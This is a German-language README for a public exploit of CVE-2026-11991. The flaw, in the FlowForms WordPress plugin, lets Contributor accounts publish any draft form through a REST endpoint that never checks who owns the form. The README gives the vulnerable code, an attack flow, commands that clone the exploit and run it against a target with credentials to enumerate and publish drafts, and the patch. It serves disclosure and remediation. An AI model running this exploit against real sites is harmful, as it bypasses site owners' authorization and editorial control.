
Automatisierter Exploit für CVE-2026-11991, eine Autorisierungsumgehung im FlowForms-WordPress-Plugin, die es Contributor+-Benutzern ermöglicht, beliebige Entwurfsformulare über manipulierte REST-API-Anfragen zu veröffentlichen.
Authentifizierte (Contributor+) Autorisierungsumgehung zur Veröffentlichung beliebiger Entwurfsformulare in FlowForms ≤ 1.1.1
| Eigenschaft | Wert |
|---|---|
| CVE-ID | CVE-2026-11991 |
| CVSS-Score | 6.2 — Mittel |
| CVSS-Vektor | AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C |
| CWE | CWE-639 (Autorisierungsumgehung durch benutzergesteuerten Schlüssel) |
| Produkt | FlowForms — WordPress-Plugin für konversationelle Formularerstellung |
| Betroffen | Alle Versionen bis einschließlich 1.1.1 |
| Behoben in | 1.1.2 |
| Forscher | Phantom Hat |
Vollständige White-Box-Fallstudie mit Quellcode-Analyse, Eingabeablaufverfolgung und Patch-Diffing:
FlowForms stellt eine REST-API unter dem Namespace flowforms/v1 bereit. Der Veröffentlichungs-Endpunkt:
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish
akzeptiert eine benutzergesteuerte {id} im URL-Pfad und veröffentlicht ein Entwurfsformular auf der Live-Website.
Der permission_callback für die /publish-Route führt nur eine allgemeine Fähigkeitsprüfung durch:
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
'methods' => 'POST',
'callback' => [$this, 'publish_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts ist eine Fähigkeit, die Contributors besitzen — eine Rolle, die WordPress absichtlich von der Veröffentlichung von Inhalten ausschließt. Es gibt keinerlei Eigentümerprüfung gegen die Ziel-form_id. Jeder authentifizierte Benutzer kann jedes Entwurfsformular auf der Website veröffentlichen.
Angreifer (Contributor) FlowForms REST-API
│ │
│── POST /wp-login.php ────────────>│ (1) Als Contributor authentifizieren
│<─ wordpress_logged_in-Cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) REST-Nonce abrufen
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Entwurfsformulare aufzählen
│<─ "Form Not Published" ───────────│ (nicht authentifizierte Antwort)
│ │
│── POST /flowforms/v1/forms/ │ (4) Veröffentlichung auslösen auf
│ {id}/publish ─────────────>│ beliebiger Entwurfsformular-ID
│ │ ← keine Eigentümerprüfung
│<─ { "success": true } ────────────│
│ │
│ Formular ist jetzt LIVE auf der │ (5) Entwurf umgeht den
│ Website ohne redaktionelle │ redaktionellen Workflow
│ Freigabe │
Contributor auf der Zielwebsitegit clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
python3 CVE-2026-11991-exploit.py \
--url http://TARGET \
--proxy http://127.0.0.1:8080 \
--user contributor \
--password password123 \
--num_forms 100 \
--id_start 1
| Flag | Beschreibung | Erforderlich |
|---|---|---|
--url | Ziel-WordPress-URL | ✅ |
--user | WordPress-Benutzername (Contributor+) | ✅ |
--password | WordPress-Passwort | ✅ |
--num_forms | Anzahl der aufzuzählenden Formular-IDs | ✅ |
--id_start | Start-Formular-ID für die Aufzählung | ✅ |
--proxy | Proxy-URL (z. B. http://127.0.0.1:8080) | ❌ |
Der Exploit führt drei automatisierte Schritte aus:
Schritt 1 — Authentifizierung
Meldet sich als Angreifer (Contributor) an und ruft eine gültige REST-API-Nonce aus wp-admin ab.
Schritt 2 — Entwürfe aufzählen
Scannt GET /flowform/{id} über den angegebenen ID-Bereich. Formulare, die "Form Not Published" zurückgeben, werden als Ziele gesammelt — dies sind Entwurfsformulare, über die der Angreifer keinerlei Eigentumsrechte besitzt.
Schritt 3 — Veröffentlichen
Sendet POST /flowforms/v1/forms/{id}/publish mit der Nonce des Angreifers. Der Endpunkt akzeptiert die Anfrage, veröffentlicht den Entwurf und macht das Formular live — ohne jegliche Autorisierungsprüfung bezüglich des Eigentums.
| Aktion | Details |
|---|---|
| Patch | Ersetzen Sie die allgemeine edit_posts-Prüfung durch current_user_can('edit_post', $form_id) — das zweite Argument bindet die Fähigkeitsprüfung an das spezifische Beitragsobjekt und erzwingt die WordPress-Eigentumsregeln |
| Abschwächung | Bis zum Patch die Rollen Contributor und Author einschränken, wenn das Plugin aktiv ist |
// VERWUNDBAR
'permission_callback' => fn() => current_user_can('edit_posts'),
// SICHER (gepatcht)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),